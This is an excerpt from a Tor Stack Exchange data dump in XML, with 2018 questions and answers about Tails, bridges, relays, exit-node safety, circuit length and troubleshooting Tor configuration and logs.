  <row Id="17381" PostTypeId="2" ParentId="17377" CreationDate="2018-07-04T11:23:56.630" Score="2" Body="&lt;p&gt;Yes, you should be able to do this.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start up Tails on your PC&lt;/li&gt;&#xA;&lt;li&gt;Download the desired ISO&lt;/li&gt;&#xA;&lt;li&gt;Install software to create a bootable USB stick (e.g. &lt;code&gt;unetbootin&lt;/code&gt;) &#xA;(See: &lt;a href=&quot;https://tails.boum.org/doc/first_steps/additional_software/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/doc/first_steps/additional_software/index.en.html&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Plug in second USB drive and &quot;burn&quot; the ISO on it... or real burning on a DVD with the preinstalled &lt;code&gt;brasero&lt;/code&gt; is also possible (if you've got a DVD-drive).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20628" LastEditorUserId="5234" LastEditDate="2018-12-20T22:12:14.933" LastActivityDate="2018-12-20T22:12:14.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17382" PostTypeId="2" ParentId="17208" CreationDate="2018-07-04T11:47:30.417" Score="1" Body="&lt;p&gt;This is a reported bug in &lt;code&gt;arm&lt;/code&gt; (See: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9313&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/9313&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the bug is closed as &lt;code&gt;wontfix&lt;/code&gt; since &lt;code&gt;arm&lt;/code&gt; is now replaced by &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nyx&lt;/a&gt; (Nyx seems to have fixed this bug).&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-04T11:47:30.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17383" PostTypeId="2" ParentId="17336" CreationDate="2018-07-04T12:11:40.807" Score="1" Body="&lt;p&gt;&lt;strong&gt;Does it make sense?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes it makes sense. Using the Cloudflare resolver over it's onion address gives you additional privacy and also makes the dns query tamper resistant.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-04T12:11:40.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17384" PostTypeId="1" AcceptedAnswerId="17386" CreationDate="2018-07-04T18:16:54.743" Score="2" ViewCount="2329" Body="&lt;p&gt;The title of the question speaks for it self. Can I configure Tor to use more than three relays (nodes)? I suppose that it won't be possible inside the native Tor Browser, because that can only use three. However, is there maybe another browser, which can connect to the Tor network and use e.g. four relays or more?&lt;/p&gt;&#xA;" OwnerUserId="22464" LastActivityDate="2018-07-05T08:18:47.103" Title="Configuring my Tor browser to use more than three relays (nodes)" Tags="|configuration|relays|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17385" PostTypeId="1" CreationDate="2018-07-05T01:58:25.957" Score="1" ViewCount="288" Body="&lt;p&gt;I want to setup a hidden service but I would like to hide the IP from the webserver software (nginx here) and PHP, but I'm not sure how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nginx and PHP can't know the current server IP, no leak is possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding a software can only know the machine IP with the help of a remote host.&lt;/p&gt;&#xA;" OwnerUserId="22467" LastEditorUserId="20628" LastEditDate="2018-07-26T22:28:57.420" LastActivityDate="2022-04-07T08:06:20.643" Title="hide IP from webserver software and PHP" Tags="|onion-services|linux|ip-address-leak|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17386" PostTypeId="2" ParentId="17384" CreationDate="2018-07-05T08:18:47.103" Score="2" Body="&lt;p&gt;&lt;strong&gt;You really shouldn't do this: it can deanonymize you and it increases the load on the Tor network.&lt;/strong&gt;&#xA;See: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChoosePathLength&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en#ChoosePathLength&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For a guide on how to modify the amount of hops in the Tor binary, see this guide: &lt;a href=&quot;https://www.grepular.com/Tor_Circuits_with_Two_Hops_on_Ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.grepular.com/Tor_Circuits_with_Two_Hops_on_Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've modified the Tor binary, you just need to set the SOCKS proxy port in the &lt;code&gt;torrc&lt;/code&gt; and change your browser's proxy settings to the local SOCKS proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Proxy settings&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Fjqwb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fjqwb.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-05T08:18:47.103" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17387" PostTypeId="2" ParentId="17335" CreationDate="2018-07-05T08:39:18.663" Score="1" Body="&lt;p&gt;Tor relays ARE chosen from random different countries. You are correct that the relays are chosen at random; tor uses three relays for every connection - the guard (node 1), middle (node 2), exit (node 3) and your relays will be different every time you use tor. The three relays will all be in different countries, tor browser allows you to see what countries the relays you are connected through by clicking the green onion icon while surfing websites in the tor browser.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-07-05T08:39:18.663" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17389" PostTypeId="2" ParentId="17385" CreationDate="2018-07-06T00:03:03.820" Score="0" Body="&lt;p&gt;Well, not exactly with the direct help - a stuff like scanning syste, configs can also work. For hidden service - not just for securing the IP's - I do recommend you to use an isolated VM: Virtualbox, KVM or Xen will do the job properly and all of them are free and open-source&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-07-06T00:03:03.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17391" PostTypeId="1" CreationDate="2018-07-06T06:19:29.737" Score="0" ViewCount="466" Body="&lt;p&gt;I was just wondering if tails leaves any history on the bootable usb itself? I know most of the processes and etc are all done with the cpu and ram, and once the computer is turned off history is gone. But wasn't sure on the USB part? Does it leave any browser history or anything on the usb, if the usb ever got compromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22473" LastActivityDate="2020-01-26T00:35:33.100" Title="Does tails leave any history on the live boot usb?" Tags="|tails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17392" PostTypeId="2" ParentId="17391" CreationDate="2018-07-06T10:38:29.777" Score="1" Body="&lt;p&gt;No. Tails stores all of it's data in RAM and doesn't writes data onto the liveboot stick (unless configured to do so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://tails.boum.org/about/index.en.html#index2h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/about/index.en.html#index2h1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-06T10:38:29.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17393" PostTypeId="1" CreationDate="2018-07-06T10:51:20.957" Score="2" ViewCount="638" Body="&lt;p&gt;I am really new to Onion Routing and Tor and I have just started reading about the topic on Wikipedia and the Tor Protocol Specification. Most of the concepts are explained very well but I have problems understanding some of the more complex points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To begin with, how exactly does the connection establishment work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the torspec it says that there are at least three possible handshakes (v1, v2 and v3) that differ in the way they exchange the certificates.&#xA;But do the relays (or the client and a relay) really exchange the certificates upfront or do they perform a TLS handshake first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Tor-design paper (see link below) in section 4.2 (page 5) there is a figure that shows a (simplified) two-hop-circuit. The figure focuses on the encryption of the circuit, which is very interesting to see.&#xA;What I would like to do is (mentally) draw a figure that includes all communication paths during the connection establishment, e.g.: the TLS handshake, the certificate exchange, the ClientHello, the Tor protocol version that is used, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other figurs, specifications or papers that clarify that process? Or can anyone explain this in a short, but detailed way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the Tor Protocol Specification:&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the Tor-design paper:&#xA;&lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22476" LastActivityDate="2018-07-06T10:51:20.957" Title="Detailed Understanding of Tor's connection establishment" Tags="|connection|protocol|certificate|tls|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17394" PostTypeId="1" CreationDate="2018-07-06T14:00:02.580" Score="2" ViewCount="137" Body="&lt;p&gt;I have been recently doing some research on anonymity implications of using a bridge, and wrote &lt;a href=&quot;https://github.com/nametoolong/oregano&quot; rel=&quot;nofollow noreferrer&quot;&gt;a tool&lt;/a&gt; (not very well written though) for setting up a malicious bridge node. However, I am not clear about the attack power that such a bridge has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a bridge have any extra attack power other than being the guard-and-dirguard node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other uncanny attacks that a malicious bridge can perform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if something like GFW launches massive MITM attack against bridge connections (since the fingerprint in bridge lines doesn't always come in handy and is often dropped)?&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-07-06T14:00:02.580" Title="What kinds of attack can a bridge carry out?" Tags="|anonymity|bridge|deanonymization|attacks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17395" PostTypeId="1" CreationDate="2018-07-06T22:20:07.553" Score="0" ViewCount="2197" Body="&lt;p&gt;When starting Tor I get this warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it important, and how can I disable that?&lt;/p&gt;&#xA;" OwnerUserId="22481" LastEditorUserId="71" LastEditDate="2018-07-16T19:20:21.470" LastActivityDate="2018-09-23T04:30:34.213" Title="How to stop &quot;Tor can't help you if you use it wrong&quot; warning?" Tags="|startup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17397" PostTypeId="2" ParentId="16067" CreationDate="2018-07-07T11:36:25.237" Score="0" Body="&lt;p&gt;&lt;code&gt;man timedatectl&lt;/code&gt; if on systemd-linux&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;apt/yum install ntp/ntpd&lt;/code&gt; if not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If windows... click on the clock or something, choose sync time something&lt;/p&gt;&#xA;" OwnerUserId="22488" LastActivityDate="2018-07-07T11:36:25.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17398" PostTypeId="1" CreationDate="2018-07-07T11:54:25.590" Score="0" ViewCount="419" Body="&lt;p&gt;I am running an obfs4 bridge on my raspberry pi since 10 days now and haven't seen a single client since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RunAsDaemon 1&#xA;ORPort 9001&#xA;ExitRelay 0&#xA;BridgeRelay 1&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the logs I can read that the obfs4 service is listening on port 39147, so I have port forwarded it along with port 9001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The self-test is also positive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 07 13:38:56.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Jul 07 13:39:00.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this completely normal behaviour and due to the fact that bridges are not listed publicly? Are there simply not many obfs4 clients around? Or is it a misconfiguration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really like to contribute to the tor project as best as I can, and due to having low bandwidth running a bridge seems the only way.&lt;/p&gt;&#xA;" OwnerUserId="22489" LastActivityDate="2018-10-17T18:00:10.613" Title="No traffic on obfs4 bridge" Tags="|bridge|bandwidth|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17400" PostTypeId="2" ParentId="17395" CreationDate="2018-07-07T14:32:20.053" Score="-1" Body="&lt;p&gt;Okay, let me try this differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your original log message contained a line indicating that your &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file did not exist. This is the file where you configure settings for Tor. It is created for you automatically, so this was either the very first time you ever ran this Tor instance, or you deleted it, in either case, this was the only evidence in that log snippet of anything amiss and thus the reason I suggest you create said file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That message displays before any configuration file is loaded, and every time you start Tor. It is not an error, it is, both by its text and the contents of the URL explicitly mentioned in that line, an admonishmenrt about non-tor and even non-technical behavioral changes required to use to anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a startup message, it does not indicate anything is TECHNICALLY wrong. As such you can't suppress it, and there is no reason to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you have apparently not read the provided url, and in fact violated some of it's suggestions by dumping your logs here before someone edited them away, you should probably heed this message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&#xA; - &lt;a href=&quot;https://www.torproject.org/download/download#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download#warning&lt;/a&gt;&#xA; - &lt;a href=&quot;http://lmgtfy.com/?q=%22Tor+can%27t+help+you+if+you+use+it+wrong!%22&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://lmgtfy.com/?q=%22Tor+can%27t+help+you+if+you+use+it+wrong!%22&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22488" LastEditorUserId="22488" LastEditDate="2018-09-23T04:30:34.213" LastActivityDate="2018-09-23T04:30:34.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17401" PostTypeId="2" ParentId="17395" CreationDate="2018-07-07T19:48:45.877" Score="2" Body="&lt;p&gt;The log message you mentioned is just a default log message that gets printed out on every start (doesn't depend on certain config. See: &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/core/mainloop/main.c#n3488&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor.git/tree/src/core/mainloop/main.c#n3488&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately you can't disable &lt;em&gt;just&lt;/em&gt; this message: To remove it you'll have to disable all logging in your &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastEditorUserId="20628" LastEditDate="2018-07-17T20:12:38.330" LastActivityDate="2018-07-17T20:12:38.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17402" PostTypeId="1" CreationDate="2018-07-07T22:25:28.573" Score="1" ViewCount="302" Body="&lt;p&gt;I'm writing a novel, and one of my characters is into some illegal activities on the web. He's ultra-paranoid about security, so uses Tor...but he doesn't want anyone who might snoop in his computer files to know he's installed the Tor browser. So here's my question: On a PC, can the Tor program folder be placed in a file-security app like Folder Lock, or does it need to stay in the Program Files folder?  Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="22494" LastActivityDate="2021-12-20T19:03:10.277" Title="Tor and Folder Lock" Tags="|anonymity|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17407" PostTypeId="2" ParentId="14336" CreationDate="2018-07-09T13:27:39.700" Score="0" Body="&lt;p&gt;It seems that tor process is unable to start properly. You have to find your tor log file. There must be a message about tor startup and every errors during startup will be there. Tor produce many verbose helpful messages, especially when something goes wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to find errors in the log file. Let us see them.&lt;/p&gt;&#xA;" OwnerUserId="22444" LastActivityDate="2018-07-09T13:27:39.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17409" PostTypeId="2" ParentId="17280" CreationDate="2018-07-09T19:29:42.757" Score="1" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I found the answer, my mistake was to not considering pluggable transpoorts at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you want to specify bridges in tor config, you must specify a proper pluggable transport to be used for. in my case i specify a &lt;em&gt;meek_lite&lt;/em&gt; pluggable transport to be used for my &lt;em&gt;meek_lite&lt;/em&gt; type bridge's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper solution for my problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config = {&#xA;&#xA; 'SocksPort': '7000', 'ControlPort': '9051', 'UseBridges': '1', &#xA;&#xA;'ClientTransportPlugin': 'meek_lite exec {}'.format(obfs4_binary_path),&#xA;&#xA;'Bridge': 'meek 0.0.2.0:3 97700DFE9F483596DDA6264C4D7DF7641E1E39CE &#xA;url=https://meek.azureedge.net/ front=ajax.aspnetcdn.com' &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21249" LastActivityDate="2018-07-09T19:29:42.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17411" PostTypeId="1" AcceptedAnswerId="17416" CreationDate="2018-07-10T09:42:32.743" Score="0" ViewCount="701" Body="&lt;p&gt;I have the orbot app on my android but my biggest concern is the dangers of using tor. I want to use it for researching &amp;amp; information but hear the horror stories of hacker and stuff. Also and i can be wrong as i don't know much about tor but don't other people traffic pass through my network so if someone is doing shady stuff i can look like it's coming from me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to use it for the huge information it has and really would like to skip the major draw backs. Any advice? I use tunnel bear vpn is that good enough to stop hackers and such?&lt;/p&gt;&#xA;" OwnerUserId="22510" LastActivityDate="2018-10-27T10:32:58.147" Title="How to use tor safely?" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17412" PostTypeId="1" CreationDate="2018-07-10T15:30:51.130" Score="0" ViewCount="427" Body="&lt;p&gt;I’ve left my Tor relay (run on an AWS EC2 instance, Xenial Xerius Ubuntu) alone for a few days, and it operated for a few days. The relay then started counting downtime, and the “last seen” timestamp on the Tor metrics website said it was last seen a few days ago. I was poking around with the command line, and I got a message with log level warn saying “It looks like another Tor process is running with the same data directory. Waiting 5 seconds to see if it goes away.”. Then a message with log level info appeared saying “tor_lockfile_lock(): Locking “/home/ubuntu/.tor/lock”, then an err message saying “No, it’s still there. Exiting”. Another err message followed saying “set_options(): Bug: acting on config options left us in a broken state. Dying. (on Tor 0.3.3.7 )”, then a final err message saying “Reading config failed—see warnings above.”.   I looked at the source code, and I found this code block: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static tor_lockfile_t *lockfile = NULL;&#xA;&#xA;int&#xA;try_locking(or_options_t *options, int err_if_locked)&#xA;{&#xA;  if (lockfile)&#xA;    return 0;&#xA;  else {&#xA;    char *fname = options_get_datadir_fname2_suffix(options, &quot;lock&quot;,NULL,NULL);&#xA;    int already_locked = 0;&#xA;    tor_lockfile_t *lf = tor_lockfile_lock(fname, 0, &amp;amp;already_locked);&#xA;    tor_free(fname);&#xA;    if (!lf) {&#xA;      if (err_if_locked &amp;amp;&amp;amp; already_locked) {&#xA;        int r;&#xA;        log_warn(LD_GENERAL, &quot;It looks like another Tor process is running &quot;&#xA;                 &quot;with the same data directory.  Waiting 5 seconds to see &quot;&#xA;                 &quot;if it goes away.&quot;);&#xA;#ifndef WIN32&#xA;        sleep(5);&#xA;#else&#xA;        Sleep(5000);&#xA;#endif&#xA;        r = try_locking(options, 0);&#xA;        if (r&amp;lt;0) {&#xA;          log_err(LD_GENERAL, &quot;No, it's still there.  Exiting.&quot;);&#xA;          exit(0);&#xA;        }&#xA;        return r;&#xA;      }&#xA;      return -1;&#xA;    }&#xA;    lockfile = lf;&#xA;    return 0;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the Tor metrics page link for my relay: &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/B169906909476519CF94B87812C231516FBA2D95&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/B169906909476519CF94B87812C231516FBA2D95&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on? &lt;/p&gt;&#xA;" OwnerUserId="22504" LastActivityDate="2022-05-10T00:04:15.483" Title="Tor downtime from multiple processes" Tags="|ubuntu|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17414" PostTypeId="2" ParentId="14522" CreationDate="2018-07-11T23:03:36.123" Score="1" Body="&lt;p&gt;Answering the subject question: different onions for different users (perfectly secreted from each other) is the technique for administrators to exclude any particular user simply by stop hosting specific hidden service. This is ideal &quot;ban&quot; in onion architecture, since banned user become powerless even in figuring out if service is still alive, forget about efforts of hacking or tracking physical location of service.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;registration only ever asked for a username and password that I don't use anywhere else on the internet. They were specific about this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unique username is for anonymizing. Often such services work better if people can't identify each other, otherwise it can lead to some undesired consequences.&#xA;Unique password is a default requirement for any service even in clearnet. This way accounts is more protected. That's it. Nothing especial.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But no one ever seems to be logged into the site. Post view counts never seem to increase.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This hides scale of service. This way adversary is troubled to make many good conclusions about service. The less data he had the less harm he can made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after all there is nothing suspicious in that service, taking into account it's anonymous nature. Just weird for inexperienced eye.&lt;/p&gt;&#xA;" OwnerUserId="22522" LastActivityDate="2018-07-11T23:03:36.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17416" PostTypeId="2" ParentId="17411" CreationDate="2018-07-12T10:24:35.637" Score="1" Body="&lt;p&gt;TL;DR: you are not a relay neither an exit node by default!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] other people traffic pass through my network [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;only if you configured your &quot;Tor-software&quot; to be an relay.&lt;br&gt;&#xA;and even if so, that traffic is encrypted... else every relay (also the others through which your traffic is going) would be able to read and analyze the traffic which should be anonymized.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] if someone is doing shady stuff i can look like it's coming from me?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;only if you configured your &quot;Tor-software&quot; to be an exit node (= the last relay, from which the Tor-network is left and the &quot;normal traffic&quot; seems to come from).&lt;br&gt;&#xA;btw: so whenever possible, use &lt;code&gt;.onion&lt;/code&gt;-sites! it is more safe and reduces the load for the exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I use [...] vpn is that good enough to stop hackers and such?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. a VPN has hardly to do anything with (additional) security, it just redirects your traffic.&lt;br&gt;&#xA;and even for anonymity you have to thrust the promises (if there is any no-logs policy at all), skills and software of one single VPN-provider.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;additional consideration:&lt;br&gt;&#xA;providing a relay usually can/does not effect your security at all in a bad way; it would rather be a good idea to add &quot;white noise&quot; for avoiding time-based correlation and other guesses (especially as long as you are the only one using Tor from this internet access and/or not using Tor all the time).&lt;br&gt;&#xA;additionally you'll help out and strengthen the Tor-network with providing some resources (bandwidth)... so every Tor-user should consider running a relay: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-10-27T10:32:58.147" LastActivityDate="2018-10-27T10:32:58.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17417" PostTypeId="1" AcceptedAnswerId="17419" CreationDate="2018-07-12T19:30:49.823" Score="3" ViewCount="6942" Body="&lt;p&gt;From everything I've seen and read about Tor, it seems like the exit nodes are the single point of potential failure if one is using Tor as a client. Stated differently, from what I understand the exit nodes are the only way for someone to see a user's traffic and pinpoint it back to the Tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How safe are they exactly, or how likely is it they could be compromised  and watching traffic without anyone ever knowing?&lt;/p&gt;&#xA;" OwnerUserId="22437" LastEditorUserId="22437" LastEditDate="2018-07-13T04:14:15.367" LastActivityDate="2019-03-23T16:21:10.210" Title="How safe are Tor exit nodes.... really?" Tags="|exit-relays|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17419" PostTypeId="2" ParentId="17417" CreationDate="2018-07-13T02:35:00.433" Score="2" Body="&lt;p&gt;If you are only a Tor client (e.g. you're using Tor Browser to browse the web), &lt;strong&gt;you are not an exit node&lt;/strong&gt;, or any node at all, and you are fine. Nobody will be able to tell where your traffic is going, except of course the exit node. Granted, some exit nodes might do some shady things, so HTTPS over Tor is your best option for maximum security and privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're actively running a Tor node (i.e. you're listed as a possible route by the &lt;a href=&quot;https://atlas.torproject.org/#about&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor directory authorities&lt;/a&gt;), that's different from just being a user. You can't be a node by accident; you have to &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en#setup&quot; rel=&quot;nofollow noreferrer&quot;&gt;set some stuff up&lt;/a&gt;. If you're not an exit node, then everything that goes through your server is encrypted, and no web service is going to know you were even involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're an &lt;em&gt;exit node&lt;/em&gt;, then web services know traffic is going through you. Then you could get into a little trouble. The most notable thing that will happen is that you will be deluged in DMCA notices. Fortunately, that's not your fault, and Tor prepared &lt;a href=&quot;https://www.torproject.org/eff/tor-dmca-response.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;a response letter for you&lt;/a&gt;. Your ISP might not be alright with you running an exit node (or any kind of proxy), and some might just disconnect you. There is &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&quot; rel=&quot;nofollow noreferrer&quot;&gt;a list of good and bad ISPs&lt;/a&gt; in this regard. Because of that, and because of warrant/seizure laws, &lt;strong&gt;running an exit node from your home computer(s) is almost certainly a bad idea&lt;/strong&gt;. You'll also run into legal problems if you snoop on the outgoing traffic, but hopefully you're a good guy and aren't doing that anyway. Further reading: &lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Legal FAQ for relay operators&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, Bad Things&lt;sup&gt;TM&lt;/sup&gt; will probably only happen if you're explicitly set up as an exit node, and even so, you'll probably be alright if you take the appropriate precautions as outlined in Tor documentation. If you don't run an exit node, you're good.&lt;/p&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2018-07-13T02:35:00.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
